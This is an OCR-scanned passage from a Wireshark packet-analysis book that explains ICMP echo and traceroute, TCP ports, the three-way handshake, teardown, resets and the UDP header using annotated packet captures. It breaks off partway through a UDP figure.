Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) 
Ethernet II, Src: CompalCo_b8:59:b1 (@0:16:d4:b8:59:b1), Dst: CiscoInc_4b:c@:7f (@0:12:80:4b:c0:7f) 
Internet Protocol Version 4, Src: 192.168.100.138, Dst: 192.168.100.1@ 
V Internet Control Message Protocol 

@ Type: 8 (Echo (ping) request) 
© code: @ 

Checksum: @x145c [correct] 

Identifier (BE): 1280 (@x@500) 

Identifier (LE): 5 (@x@0@5) 

Sequence number (BE): 13312 (@x3400) 

Sequence number (LE): 52 (@x@0@34) 


Response frame: 





Y Data (32 bytes) 
Data: 6162636465666768696a6b6c6d6e6f707172737475767761... 
[Length: 32] 





No.: 1 * Time: 0.000000 * Source: 192.168.100.138 * Destination: 192.168.100.1 * Protocol: ICMP - Length: 74 « Info: Echo (ping) request id=0x0500, seq=13312/52, ttl=128 (reply ù 








Figure 7-30: An ICMP echo request packet 


The terms echo and ping are often used interchangeably, but remember that ping is 
actually the name of a tool. The ping tool is used to send ICMP echo request packets. 


The second packet in this sequence is the reply to our request (see 
Figure 7-31). The ICMP portion of the packet is type 0 @ and code 0 @, 
indicating that this is an echo reply. Because the sequence number and 
identifier in the second packet match those of the first ®, we know that 
this echo reply matches the echo request in the previous packet. Wireshark 
displays the values of these fields in big-endian (BE) and little-endian (LE) 
format. In other words, it represents the data in a different order based on 
how a particular endpoint might process the data. This reply packet also 
contains the same 32-byte string of data that was transmitted with the initial 
request @. Once this second packet has been received by 192.168.100.138, 
ping will report success. 





Wireshark - Packet 2 - icmp_echo = o x 
P. 


Frame 2: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) 
Ethernet II, Src: CiscoInc_4b:c@:7f (@0:12:80:4b:c@:7f), Dst: CompalCo_b8:59:b1 (00:16:d4:b8:59:b1) 
Internet Protocol Version 4, Src: 192.168.100.1, Dst: 192.168.100.138 
V Internet Control Message Protocol 
(1) Type: @ (Echo (ping) reply) 
(2) Code: @ 
Checksum: @xlc5c [correct] 
Identifier (BE): 1280 (@x@500) 
Identifier (LE): 5 (@x@@05) 
© Sequence number (BE): 13312 (0x3400) 
Sequence number (LE): 52 (@x@@34) 
Request frame: 1 
[Response time: 0.776 ms] 
V Data (32 bytes) 
(4) Data: 6162636465666768696a6b6c6d6e6f707172737475767761. .. 
[Length: 32] 


No.: 2 * Time: 0.000776 Source: 192.168.100.1 - Destination: 192.168.100.138 + Protocol.. Length: 74 « Info: Echo (ping) reply id=0x0500, seq=13312/52, tt!=255 (request in 1) 








Figure 7-31: An ICMP echo reply packet 


Note that you can use variations of the ping command to increase the 
size of the data padding in echo requests, which forces packets to be frag- 
mented for various types of network troubleshooting. This may be necessary 
when you're troubleshooting networks that require a smaller fragment size. 


The random text used in an ICMP echo request can be of great interest to a potential 
attacker. Attackers can use the information in this padding to profile the operating 
system used on a device. Additionally, attackers can place small bits of data in this 
field as a method of covert communication. 


traceroute 
icmp_traceroute The traceroute utility is used to identify the path from one device to 
PEEP Rg another. On a simple network, a path may go through only a single router 


or no router at all. On a complex network, however, a packet may need to 
go through dozens of routers to reach its final destination. Thus, it is cru- 
cial to be able to trace the exact path a packet takes from one destination 
to another in order to troubleshoot communication. 

By using ICMP (with a little help from IP), traceroute can map the path 
packets take. For example, the first packet in the file icmp_traceroute.pcapng is 
pretty similar to the echo request we looked at in the previous section (see 
Figure 7-32). 

In this capture, the packets were generated by running the command 
tracert 4.2.2.1. To use traceroute on Windows, enter tracert ipaddress at the 
command prompt, replacing ipaddress with the actual IP address of a device 
whose path you want to discover. To use traceroute on Linux or Mac, use 
the command traceroute ipaddress. 
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Wireshark - Packet 1 - icmp_traceroute - o x 


Frame 1: 106 bytes on wire (848 bits), 106 bytes captured (848 bits) 
Ethernet II, Src: CompalCo_b8:59:b1 (@@:16:d4:b8:59:b1), Dst: CiscoInc_4b:c@:7f (@0:12:80:4b:c@:7f) 

V Internet Protocol Version 4, Src: 192.168.100.138, Dst: 4.2.2.1@ 

0100 .... = Version: 4 
- 0101 = Header Length: 20 bytes 

Differentiated Services Field: @x@@ (DSCP: CS@, ECN: Not-ECT) 
Total Length: 92 
Identification: @xff51 (65361) 
Flags: @x@0 
Fragment offset: @ 
Time to live: 1 @ 
Protocol: ICMP (1) 
Header checksum: @x8fla [validation disabled] 
Source: 192.168.100.138 
Destination: 4.2.2.1 
[Source GeoIP: Unknown] 
[Destination GeoIP: Unknown] 

V Internet Control Message Protocol 
Type: 8 (Echo (ping) request) @ 
Code: @ 
Checksum: @xbaff [correct] 
Identifier (BE): 1280 (@x@5@0) 
Identifier (LE): 5 (@x@005) 
Sequence number (BE): 14336 (@x380@) 
Sequence number (LE): 56 (@x@@38) 
[No response seen] 
Data (64 bytes) 


No.: 1 * Time: 0.000000 > Source: 192.168.100.138 * Destination: 4.2.2.1 « Protocol: ICM._th: 106 « Info: Echo (ping) request id=0x0500, seq=14336/56, ti=1 (ne response found. 





Figure 7-32: An ICMP echo request packet with a TTL value of 1 


At first glance, this packet appears to be a simple echo request ® from 
192.168.100.138 to 4.2.2.1 @, and everything in the ICMP portion of the 
packet is identical to the formatting of an echo request packet. However, 
when you expand the IP header of this packet, you'll notice something 
odd: the packet’s TTL value is set to 1 @, meaning that the packet will 
be dropped at the first router that it hits. Because the destination 4.2.2.1 
address is an internet address, we know that there must be at least one 
router between our source and destination devices, so there is no way this 
packet will reach its destination. That’s good for us, because traceroute 
relies on the fact that this packet will make it to only the first router it 
traverses. 

The second packet is, as expected, a reply from the first router 
we reached along the path to our destination (see Figure 7-33). This 
packet reached this device at 192.168.100.1, its TTL was decremented to 
0, and the packet could not be transmitted further, so the router replied 
with an ICMP response. This packet is type 11 @ and code 0 @, data that 
tells us that the destination was unreachable because the packet’s TTL 
was exceeded during transit. 

This ICMP packet is sometimes called a double-headed packet, because 
the tail end of its ICMP portion contains a copy of the IP header ® and 
ICMP data @ that were sent in the original echo request. This information 
can prove very useful for troubleshooting. 





M Wireshark - Packet 2 « icmp_traceroute - o x 





Frame 2: 70 bytes on wire (560 bits), 70 bytes captured (560 bits) 
Ethernet II, Src: CiscoInc_4b:c@:7f (@0:12:80:4b:c@:7f), Dst: CompalCo_b8:59:b1 (@0:16:d4:b8:59:b1) 
V Internet Protocol Version 4, Src: 192.168.100.1, Dst: 192.168.100.138 
@10@ .... = Version: 4 
. 0101 = Header Length: 20 bytes 
Differentiated Services Field: @xc@ (DSCP: CS6, ECN: Not-ECT) 
Total Length: 56 
Identification: @x49la (18714) 
Flags: 0x00 
Fragment offset: @ 
Time to live: 255 
Protocol: ICMP (1) 
Header checksum: @x28@e [validation disabled] 
Source: 192.168.100.1 
Destination: 192.168.100.138 
[Source GeoIP: Unknown] 
[Destination GeoIP: Unknown] 
V Internet Control Message Protocol 
@ Type: 11 (Time-to-live exceeded) 
@ Code: @ (Time to live exceeded in transit) 
Checksum: @xf4ff [correct] 
© Internet Protocol Version 4, Src: 192.168.100.138, Dst: 4.2.2.1 
© V Internet Control Message Protocol 
Type: 8 (Echo (ping) request) 
Code: @ 
Checksum: @xbaff [in ICMP error packet] 
Identifier (BE): 128@ (@x@500) 
Identifier (LE): 5 (@x@@@5) 
Sequence number (BE): 14336 (@x38@@) 
Sequence number (LE): 56 (@x@@38) 





No.: 2 * Time: 0.000813 - Source: 192.168.100.1 * Destination: 192.168.100.138 - Protocol: ICMP « Length: 70 - Info: Time-to-live exceeded (Time to live exceeded in transit) 








Figure 7-33: An ICMP response from the first router along the path 


This process of sending packets with a TTL value of 1 occurs two more 
times before we get to packet 7. Here, you see the same thing you saw in 
the first packet, except that this time, the TTL value in the IP header is 
set to 2, which ensures the packet will make it to the second hop router 
before it is dropped. As expected, we receive a reply from the next hop 
router, 12.180.241.1, with the same ICMP destination unreachable and 
TTL exceeded messages. 

This process continues, with the TTL value increasing by 1, until 
the destination 4.2.2.1 is reached. Right before that happens, however, 
you'll see in Figure 7-34 that the request on line 8 timed out. How can a 
request along the path time out and the process still complete successfully? 
Typically, this happens when a router is configured to not respond to ICMP 
requests. The router still receives the request and passes the data forward 
to the next router, which is why we’re able to see the next hop on line 9 in 
Figure 7-34. It just didn’t generate the ICMP time to live exceeded packet 
as the other hops did. With no response, tracert assumes the request has 
timed out and moves on to the next one. 

To sum up, this traceroute process has communicated with each router 
along the path, building a map of the route to the destination. An example 
map is shown in Figure 7-34. 
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Command Prompt = oO x 


ic:\>tracert 4.2.2.1 


Tracing route to a.resolvers.level3.net [4.2.2.1] 
lover a maximum of 3@ hops: 


is INTERIORE2@@@ [172.16.16.1] 

s 192.168.1.1 

s 192.168.0.1 

s 172-127-116-3.lightspeed.tukrga.sbcglobal.net [17 


12.122.117.121 
Request timed out. 
a.resolvers.level3.net [4.2.2.1] 


1 
2 
3 
4 
pee 
5 
6 
7 
8 
9 





Figure 7-34: A sample output from the traceroute utility 


The discussion here on traceroute is generally Windows focused because this utility 
uses ICMP exclusively. The traceroute utility on Linux is a bit more versatile and can 
utilize other protocols in order to perform route path tracing. 


ICMP Version 6 (ICMPv6) 


The updated version of IP relies heavily on ICMP for functions such as neigh- 
bor solicitation and path discovery, as demonstrated in earlier examples. 
ICMPv6 was established with RFC 4443 to support the feature set needed for 
IPv6, along with additional enhancements. We don’t cover ICMPv6 separately 
in this book because it uses the same packet structure as do ICMP packets. 

ICMPv6 packets are generally classified as either error messages or 
informational messages. You can find a full list of the available types and 
codes from IANA here: http://www.iana.org/assignments/icmpv6-parameters/ 
icmpv6-parameters.xhiml. 

This chapter has introduced you to a few of the most important proto- 
cols you will examine during the process of packet analysis. ARP, IP, and 
ICMP are at the foundation of all network communications, and they are 
critical to just about every daily task you will perform. In Chapter 8, we will 
look at common transport layer protocols, TCP and UDP. 





TRANSPORT LAYER PROTOCOLS 


In this chapter, we’ll continue to exam- 
ine individual protocols and how they 
appear at the packet level. Moving up the 
OSI model, we’ll look at the transport layer 





and the two most common transport protocols, 
TCP and UDP. 


Transmission Control Protocol (TCP) 


The ultimate goal of the Transmission Control Protocol (TCP) is to provide end- 
to-end reliability for the delivery of data. TCP, which is defined in RFC 793, 
handles data sequencing and error recovery, and ultimately ensures that 
data gets where it’s supposed to go. TCP is considered a connection-oriented 
protocol because it establishes a formal connection before transmitting data, 
tracks packet delivery, and usually attempts to formally close communi- 
cation channels when transmission is complete. Many commonly used 
application-layer protocols rely on TCP and IP to deliver packets to their 
final destination. 


TCP Packet Structure 
TCP provides a great deal of functionality, as reflected in the complexity of 
its header. As shown in Figure 8-1, the following are the TCP header fields: 
Source Port The port used to transmit the packet. 
Destination Port The port to which the packet will be transmitted. 


Sequence Number The number used to identify a TCP segment. This 
field is used to ensure that parts of a data stream are not missing. 
Acknowledgment Number The sequence number that is to be 
expected in the next packet from the other device taking part in 

the communication. 

Flags The URG, ACK, PSH, RST, SYN, and FIN flags for identifying 
the type of TCP packet being transmitted. 

Window Size The size of the TCP receiver buffer in bytes. 
Checksum Used to ensure the contents of the TCP header and data 
are intact upon arrival. 

Urgent Pointer If the URG flag is set, this field is examined for addi- 
tional instructions for where the CPU should begin reading the data 
within the packet. 


Options Various optional fields that can be specified in a TCP packet. 


i 


Sequence Number 


Acknowledgment Number 


Figure 8-1: The TCP header 





TCP Ports 


tcp_ports.pcapng All TCP communication takes place using source and destination ports, 
which can be found in every TCP header. A port is like the jack on an old 
telephone switchboard. A switchboard operator would monitor a board of 
lights and plugs. When a light lit up, he would connect with the caller, ask 
who she wanted to talk to, and then connect her to the other party by plug- 
ging in a cable. Every call needed to have a source port (the caller) and a 
destination port (the recipient). TCP ports work in much the same fashion. 
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To transmit data to a particular application on a remote server or device, 
a TCP packet must know the port the remote service is listening on. If you try 
to access an application on a port other than the one configured for use, the 
communication will fail. 

The source port in this sequence isn’t incredibly important and can 
be selected randomly. The remote server will simply determine the port to 
communicate with from the original packet it’s sent (see Figure 8-2). 
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Figure 8-2: TCP uses ports to transmit data. 


There are 65,535 ports available for use when communicating with 
TCP. We typically divide these into two groups: 


e = The system port group (also known as the standard port or well-known 
port group) is from 1 through 1023 (ignoring 0 because it’s reserved). 
Well-known, established services generally use ports that lie within the 
system port grouping. 

e The ephemeral port group is from 1024 through 65535 (although some 
operating systems have different definitions for this). Only one service 
can communicate on a port at any given time, so modern operating 
systems select source ports randomly in an effort to make communica- 
tions unique. These source ports are typically located in the ephemeral 
range. 


Let’s examine a couple of TCP packets and identify the port numbers 
they are using by opening the file tcp_ports.pcapng. In this file, we have the 
HTTP communication of a client browsing to two websites. As mentioned 
previously, HTTP uses TCP for communication, making it a great example 
of standard TCP traffic. 
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In the first packet in this file (see Figure 8-3), the first two values rep- 
resent the packet’s source port and destination port. This packet is being 
sent from 172.16.16.128 to 212.58.226.142. The source port is 2826 @, an 
ephemeral port. (Remember that source ports are chosen at random by 
the operating system, although they can increment from that random 
selection.) The destination port is a system port, port 80 @, the standard 
port used for web servers using HTTP. 














@ Wireshark - Packet 1 - tcp_ports = x 











No.: 1 


Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 
Ethernet II, Src: IntelCor_5b:7d:4a (00:21:6a:5b:7d:4a), Dst: D-Link_21:99:4c (00:05:5d:21:99:4c) 
Internet Protocol Version 4, Src: 172.16.16.128, Dst: 212.58.226.142 


Y Transmission Control Protocol, Src Port: slc-systemlog (2826), Dst Port: http (80), Seq: 3691127924, Len: @ 


Source Port: slc-systemlog (2826) @ 
Destination Port: http (8¢)@ 


[Stream index: @] 


[TCP Segment Len: @] 

Sequence number: 3691127924 

Acknowledgment number: @ 

Header Length: 32 bytes 

Flags: @x@@2 (SYN) 

Window size value: 8192 

[Calculated window size: 8192] 

Checksum: @xcfeb [validation disabled] 

Urgent pointer: @ 

Options: (12 bytes), Maximum segment size, No-Operation (NOP), Window scale, No-Operation (NOP), No-Operation (NOP), SACK permitted 


Time: 0.000000 + Source: 172.16.16.128 + Destination: 212.58.226.142 * Protocol: TOP + Info: sk-systemiog — http [SYN] Seq=3691127924 Win=8192 Len=0 MSS=1460 WS=4 SACK_PERM=1 


Close Help 








Figure 8-3: The source and destination ports can be found in the TCP header. 
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Notice that Wireshark labels these ports as slc-systemlog (2826) and 
http (80). Wireshark maintains a list of ports and their most common uses. 
Although system ports are primarily the ones with labeled common uses, 
many ephemeral ports have commonly used services associated with them. 
The labeling of these ports can be confusing, so it’s typically best to dis- 
able it by turning off transport name resolution. To do this, go to Edit > 
Preferences >» Name Resolution and uncheck Enable Transport Name 
Resolution. If you wish to leave this option enabled but want to change how 
Wireshark identifies a certain port, you can do so by modifying the services 
file located in the Wireshark system directory. The contents of this file are 
based on the IANA common ports listing (see “Using a Custom hosts File” 
on page 86 for an example of how to edit a name resolution file). 

The second packet is sent back from 212.58.226.142 to 172.16.16.128 
(see Figure 8-4). As with the IP addresses, the source and destination ports 
are now also switched ®. 

In most cases, TCP-based communication works the same way: a ran- 
dom source port is chosen to communicate to a known destination port. 
Once this initial packet is sent, the remote device communicates with the 
source device using the established ports. 

This sample capture file includes one more communication stream. See 
if you can locate the port numbers it uses for communication. 














M Wireshark - Packet 2 - tcp_ports x 








Frame 2: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 
Ethernet II, Src: D-Link_21:99:4c (@0:05:5d:21:99:4c), Dst: IntelCor_5b:7d:4a (@@:21:6a:5b:7d:4a) 
Internet Protocol Version 4, Src: 212.58.226.142, Dst: 172.16.16.128 
v~ Transmission Control Protocol, Src Port: 80 (80), Dst Port: 2826 (2826), Seq: @, Ack: 1, Len: @ 
Source Port: 8@ 
o Destination Port: 2826 
[Stream index: @] 
[TCP Segment Len: @] 
Sequence number: @ (relative sequence number) 
Acknowledgment number: 1 (relative ack number) 
Header Length: 32 bytes 
Flags: @x@12 (SYN, ACK) 
Window size value: 5840 
[Calculated window size: 5840] 
Checksum: @x9ac@ [validation disabled] 
Urgent pointer: @ 
Options: (12 bytes), Maximum segment size, No-Operation (NOP), No-Operation (NOP), SACK permitted, No-Operation (NOP), Window scale 
[SEQ/ACK analysis] 


No.: 2 Time: 0.132627 » Source: 212.58.226.142 - Destination: 172.16.16.128 - Protocol: TCP - Length: 66 * Info: 80 — 2826 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1406 SACK_PERM=1 WS=128 











Figure 8-4: Switching the source and destination port numbers for reverse communication 


As we progress through this book, you'll learn more about the ports associated with 
common protocols and services. Eventually, you'll be able to profile services and 
devices by the ports they use. For a comprehensive list of common ports, look at the 
services file located in the Wireshark system directory. 


The TCP Three-Way Handshake 


tcp_handshake All TCP-based communication must begin with a handshake between two 
Pagpag hosts. This handshake process serves several purposes: 


e It allows the transmitting host to ensure that the recipient host is up 
and able to communicate. 


e = Itlets the transmitting host check that the recipient is listening on the 
port the transmitting host is attempting to communicate on. 


e It allows the transmitting host to send its starting sequence number 
to the recipient so that both hosts can keep the stream of packets in 
proper sequence. 


The TCP handshake occurs in three steps, as shown in Figure 8-5. In 
the first step, the device that wants to communicate (host A) sends a TCP 
packet to its target (host B). This initial packet contains no data other than 
the lower-layer protocol headers. The TCP header in this packet has the 
SYN flag set and includes the initial sequence number and maximum seg- 
ment size (MSS) that will be used for the communication process. Host B 
responds to this packet by sending a similar packet with the SYN and ACK 
flags set, along with its initial sequence number. Finally, host A sends one 
last packet to host B with only the ACK flag set. Once this process is com- 
pleted, both devices should have all of the information they need to begin 
communicating properly. 
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TCP packets are often referred to by the flags they have set. For example, rather than 
refer to a packet as a TCP packet with the SYN flag set, we call that packet a SYN 
packet. As such, the packets used in the TCP handshake process are referred to as 
SYN, SYN/ACK, and ACK. 


To see this process in action, open tcp_handshake.pcapng. Wireshark 
includes a feature that replaces the sequence numbers of TCP packets with 
relative numbers for easier analysis. For our purposes, we'll disable this fea- 
ture in order to see the actual sequence numbers. To disable this, choose 
Edit » Preferences, expand the Protocols heading, and choose TCP. In the 
window, uncheck the box next to Relative Sequence Numbers and click OK. 






























































Figure 8-5: The TCP three-way handshake 


The first packet in this capture represents our initial SYN packet @ 
(see Figure 8-6). The packet is transmitted from 172.16.16.128 on port 2826 
to 212.58.226.142 on port 80. We can see here that the sequence number 
transmitted is 3691127924 @. 

The second packet in the handshake is the SYN/ACK response ® 
from 212.58.226.142 (see Figure 8-7). This packet also contains this host’s 
initial sequence number (233779340) ® and an acknowledgment number 
(3691127925) @. The acknowledgment number shown here is 1 more than 
the sequence number included in the previous packet, because this field is 
used to specify the next sequence number the host expects to receive. 

The final packet is the ACK @ packet sent from 172.16.16.128 (see 
Figure 8-8). This packet, as expected, contains the sequence number 
3691127925 @ as defined in the previous packet’s Acknowledgment 
number field. 

A handshake occurs before every TCP communication sequence. When 
you are sorting through a busy capture file in search of the beginning of 
a communication sequence, the sequence SYN-SYN/ACK-ACK is a great 
marker. 








M Wireshark » Packet 1 » tep_handshake m o x 





> Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 
> Ethernet II, Src: IntelCor_Sb:7d:4a (@@:21:6a:5b:7d:4a), Dst: D-Link_21:99:4c (@0:@5:5d:21:99:4c) 
> Internet Protocol Version 4, Src: 172.16.16.128, Dst: 212.58.226.142 
v 

Source Port: 2826 

Destination Port: 8@ 

[Stream index: @] 

[TCP Segment Len: @] 

Sequence number: 3691127924 @ 

Acknowledgment number: @ 

Header Length: 32 bytes 


= Reserved: Not set 

= Nonce: Not set 

= Congestion Window Reduced (CWR): Not set 
= ECN-Echo: Not set 

= Urgent: Not set 

= Acknowledgment: Not set 

= Push: Not set 

= Reset: Not set 





aes capes cad @ = Fin: Not set 
[TCP Flags: ******##*45*] 
Window size value: 8192 
[Calculated window size: 8192] 
> Checksum: @xcfeb [validation disabled] 
Urgent pointer: @ 
> Options: (12 bytes), Maximum segment size, No-Operation (NOP), Window scale, No-Operation (NOP), No-Operation (NOP), SACK permitted 








No.: 1 * Time: 0.000000 » Source: 172.16.16.128 « Destination: 212.58.226.142 « Protocol: TOP - Length: 66 « Info: 2826 — 80 [SYN] Seq=3691127924 Win=8192 Len=0 MSS=1460 WS=4 SACK PERM=1 


[cose] | Het 




















Figure 8-6: The initial SYN packet 





M Wireshark - Packet 2. tcp_handshake - Oo x 
Pp. 





> Frame 2: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 
> Ethernet II, Src: D-Link_21:99:4c (@0:05:5d:21:99:4c), Dst: IntelCor_5b:7d:4a (@0:21:6a:5b:7d:4a) 
> Internet Protocol Version 4, Src: 212.58.226.142, Dst: 172.16.16.128 
{v 

Source Port: 80 

Destination Port: 2826 

[Stream index: @] 

[TCP Segment Len: @] 

Sequence number: 233779340 (1) 

Acknowledgment number: 3691127925 @ 

Header Length: 32 bytes 


000. .... .... = Reserved: Not set 

20 cone eee = Nonce: Not set 

wees @... a... = Congestion Window Reduced (CWR): Not set 
.... 0.. 2... = ECN-Echo: Not set 

wees 2-0. aa.. = Urgent: Not set 

e... eee] 2... = Acknowledgment: Set 

foe so> @... = Push: Not set 

s... e... .O.. = Reset: Not set 


done Sybra @ = Fin: Not set 
[TCP Flags: *******a**s*] 
Window size value: 5840 
[Calculated window size: 5840] 
> Checksum: @x9ac@ [validation disabled] 
Urgent pointer: @ 
> Options: (12 bytes), Maximum segment size, No-Operation (NOP), No-Operation (NOP), SACK permitted, No-Operation (NOP), Window scale 
> [SEQ/ACK analysis] 








No.: 2+ Time: 0.132627 + Source: 212.58.226.142 + Destination: 172.16.16.128 + Protocol: TCP - Length: 66 + Info: 80 ~ 2826 [SYN, ACK] Seq=233779340 Ack=3691127925 Win=5840 Len=0 MSS=1406 SACK_PERM=1 WS=128 


[cose] [Het 




















Figure 8-7: The SYN/ACK response 


Transport Layer Protocols 157 








M Wireshark . Packet 3 - tcp_handshake - x 











Frame 3: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) 
Ethernet II, Src: IntelCor_Sb:7d:4a (@@:21:6a:5b:7d:4a), Dst: D-Link_21:99:4c (@0:@5:5d:21:99:4c) 
Internet Protocol Version 4, Src: 172.16.16.128, Dst: 212.58.226.142 
V Transmission Control Protocol, Src Port: 2826 (2826), Dst Port: 80 (80), Seq: 3691127925, Ack: 233779341, Len: @ 
Source Port: 2826 
Destination Port: 8@ 
[Stream index: @] 
[TCP Segment Len: @] 
Sequence number: 3691127925 @ 
Acknowledgment number: 233779341 
Header Length: 2@ bytes 
V Flags: 0x010 (ACK) 
Reserved: Not set 
Nonce: Not set 
Congestion Window Reduced (CWR): Not set 
ECN-Echo: Not set 





Urgent: Not set 
Acknowledgment: set @ 
= Push: Not set 
= Reset: Not set 
eese sees o = Syn: Not set 
esee sese eee © = Fin: Not set 

[TCP Flags: *******,q*+***] 
Window size value: 4218 
[Calculated window size: 16872] 
[Window size scaling factor: 4] 
Checksum: @xelb2 [validation disabled] 
Urgent pointer: @ 
[SEQ/ACK analysis] 





No.: 2 * Time: 0.132768 Source: 172.16.16.128 + Destination: 212,58,226.142 * Protocol: TCP + Length: 54 - Info: 2826 — 80 [ACK] Seq=3691127925 Ack=233779341 Win= 16872 Len=0 


Heo 











Figure 8-8: The final ACK 


TCP Teardown 


tcp_teardown.pcapng Most greetings eventually have a good-bye and, in the case of TCP, every 

handshake has a teardown. The TCP teardown is used to gracefully end a 
connection between two devices after they have finished communicating. 
This process involves four packets, and it utilizes the FIN flag to signify the 
end of a connection. 

In a teardown sequence, host A tells host B that it is finished commu- 
nicating by sending a TCP packet with the FIN and ACK flags set. Host B 
responds with an ACK packet and transmits its own FIN/ACK packet. Host 
A responds with an ACK packet, ending the communication. This process is 
illustrated in Figure 8-9. 
























































AES (ae) A 


Figure 8-9: The TCP teardown process 
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tcp_refuseconnection 
.pcapng 


To view this process in Wireshark, open the file tcp_teardown.pcapneg. 
Beginning with the first packet in the sequence (see Figure 8-10), you can 
see that the device at 67.228.110.120 initiates teardown by sending a packet 
with the FIN and ACK flags set ®. 





M Wireshark - Packet 1. tcp_teardown - o x 


| |> Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) 
Ethernet II, Src: D-Link_21:99:4c (00:05:5d:21:99:4c), Dst: IntelCor_5b:7d:4a (00:21:6a:5b:7d:4a) 
Internet Protocol Version 4, Src: 67.228.110.120, Dst: 172.16.16.128 
~ Transmission Control Protocol, Src Port: 80 (80), Dst Port: 3363 (3363), Seq: 822643295, Ack: 2079380537, Len: @ 
Source Port: 80 
Destination Port: 3363 
[Stream index: @] 
[TCP Segment Len: @] 
Sequence number: 822643295 
Acknowledgment number: 2079380537 
Header Length: 20 bytes 
@ ~ Flags: 0x011 (FIN, ACK) 
OOO. 2... ween = Reserved: Not set 
00D cece cece = Nonce: Not set 
++ @... .... = Congestion Window Reduced (CWR): Not set 
+ .@.. .... = ECN-Echo: Not set 
..@. .... = Urgent: Not set 
see eee 1 .... = Acknowledgment: Set 
eese seee 0... = Push: Not set 
. Reset: Not set 
«+ «.@. = Syn: Not set 
sses esee eel = Fin: Set 
[TCP Flags: *******a***F] 
Window size value: 71 
[Calculated window size: 71] 
[Window size scaling factor: -1 (unknown)] 
Checksum: @x279b [validation disabled] 
Urgent pointer: @ 














No.: 1 * Time: 0.000000 - Source: 67.228.110.120 - Destination: 172.16.16.128 > Protocol: TCP - Length: 60 - Info: 80 — 2363 [FIN, ACK] Seq=822643295 Ack=2079380537 Win=71 Len=0 





Figure 8-10: The FIN/ACK packet initiates the teardown process. 


Once this packet is sent, 172.16.16.128 responds with an ACK packet to 
acknowledge receipt of the first packet, and it sends a FIN/ACK packet. The 
process is complete when 67.228.110.120 sends a final ACK. At this point, 
the communication between the two devices ends. If they need to begin 
communicating again, they will have to complete a new TCP handshake. 


TCP Resets 


In an ideal world, every connection would end gracefully with a TCP tear- 
down. In reality, connections often end abruptly. For example, a host may 
be misconfigured, or a potential attacker may perform a port scan. In these 
cases, when a packet is sent to a device that is not willing to accept it, a TCP 
packet with the RST flag set may be sent. The RST flag is used to indicate 
that a connection was closed abruptly or to refuse a connection attempt. 
The file tcp_refuseconnection.pcapng displays an example of network 
traffic that includes an RST packet. The first packet in this file is from 
the host at 192.168.100.138, which is attempting to communicate with 
192.168.100.1 on port 80. What this host doesn’t know is that 192.168.100.1 
isn’t listening on port 80 because it’s a Cisco router with no web interface con- 
figured. There is no service configured to accept connections on that port. 
In response to this attempted communication, 192.168.100.1 sends a packet 
to 192.168.100.138 telling it that communication won't be possible over 
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port 80. Figure 8-11 shows the abrupt end to this attempted communication 
in the TCP header of the second packet. The RST packet contains nothing 
other than RST and ACK flags ®, and no further communication follows. 














M Wireshark - Packet 2: tcp_refuseconnection = x 








Frame 2: 6@ bytes on wire (480 bits), 6@ bytes captured (480 bits) 
Ethernet II, Src: CiscoInc_4b:c@:7f (@0:12:80:4b:c@:7f), Dst: CompalCo_b8:59:b1 (@@:16:d4:b8:59:b1) 
Internet Protocol Version 4, Src: 192.168.100.1, Dst: 192.168.100.138 
v Transmission Control Protocol, Src Port: 80 (80), Dst Port: 3372 (3372), Seq: @, Ack: 951057940, Len: @ 
Source Port: 8@ 
Destination Port: 3372 
[Stream index: @] 
[TCP Segment Len: @] 
Sequence number: @ 
Acknowledgment number: 951057940 
Header Length: 2@ bytes 
@ ~ Flags: @x@14 (RST, ACK) 
OOO. cee seco Reserved: Not set 
Nonce: Not set 
iad aaa Congestion Window Reduced (CWR): Not set 
ECN-Echo: Not set 
Urgent: Not set 
Acknowledgment: Set 
Push: Not set 
Reset: Set 
Syn: Not set 
Fin: Not set 
[TCP Flags: *******A*R**] 
Window size value: @ 
[Calculated window size: @] 
(Window size scaling factor: -2 (no window scaling used)] 
Checksum: @x21b4 [validation disabled] 
Urgent pointer: @ 
[SEQ/ACK analysis] 


: o 
eo: 
“ono 


eo: 
"nn 


e 
C a 





No.: 2 * Time: 0.001316 * Source: 192.168.100.1 * Destination: 192.168.100.138 * Protocol: TCP « Length: 60 + Info: 80 — 3372 [RST, ACK] Seq=0 Ack=951057940 Win=0 Len=0 


He 











Figure 8-11: The RST and ACK flags signify the end of communication. 


An RST packet ends communication whether it arrives at the beginning 
of an attempted communication sequence, as in this example, or is sent in 
the middle of the communication between hosts. 


User Datagram Protocol (UDP) 


udp_dnsrequest 


-pcapng 
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The User Datagram Protocol (UDP) is the other layer 4 protocol commonly used 
on modern networks. While TCP is designed for reliable data delivery with 
built-in error checking, UDP aims to provide speedy transmission. For this 
reason, UDP is a best-effort service, commonly referred to as a connectionless 
protocol. A connectionless protocol doesn’t formally establish and terminate 

a connection between hosts, unlike TCP with its handshake and teardown 
processes. 

With a connectionless protocol, which doesn’t provide reliable services, 
it would seem that UDP traffic would be flaky at best. That would be true, 
except that the protocols that rely on UDP typically have their own built-in 
reliability services or use certain features of ICMP to make the connection 
somewhat more reliable. For example, the application-layer protocols DNS 
and DHCP, which are highly dependent on the speed of packet transmis- 
sion across a network, use UDP as their transport layer protocol, but they 
handle error checking and retransmission timers themselves. 


udp_dnsrequest 
.pcapng 


UDP Packet Structure 
The UDP header is much smaller and simpler than the TCP header. As 
shown in Figure 8-12, the following are the UDP header fields: 
Source Port The port used to transmit the packet 
Destination Port The port to which the packet will be transmitted 
Packet Length The length of the packet in bytes 


Checksum Used to ensure that the contents of the UDP header and 
data are intact upon arrival 


User Datagram Protocol (UDP) 
Octet 


ar | 
KA 


Figure 8-12: The UDP header 





The file udp_dnsrequest.pcapng contains one packet. This packet repre- 
sents a DNS request, which uses UDP. When you expand the packet’s UDP 
header, you'll see four fields (see Figure 8-13). 














4 Wireshark - Packet 1 - udp_dnsrequest i x 











Frame 1: 73 ‘bytes of on wire . (584 bits), 73 bytes ‘captured (584 bits) 
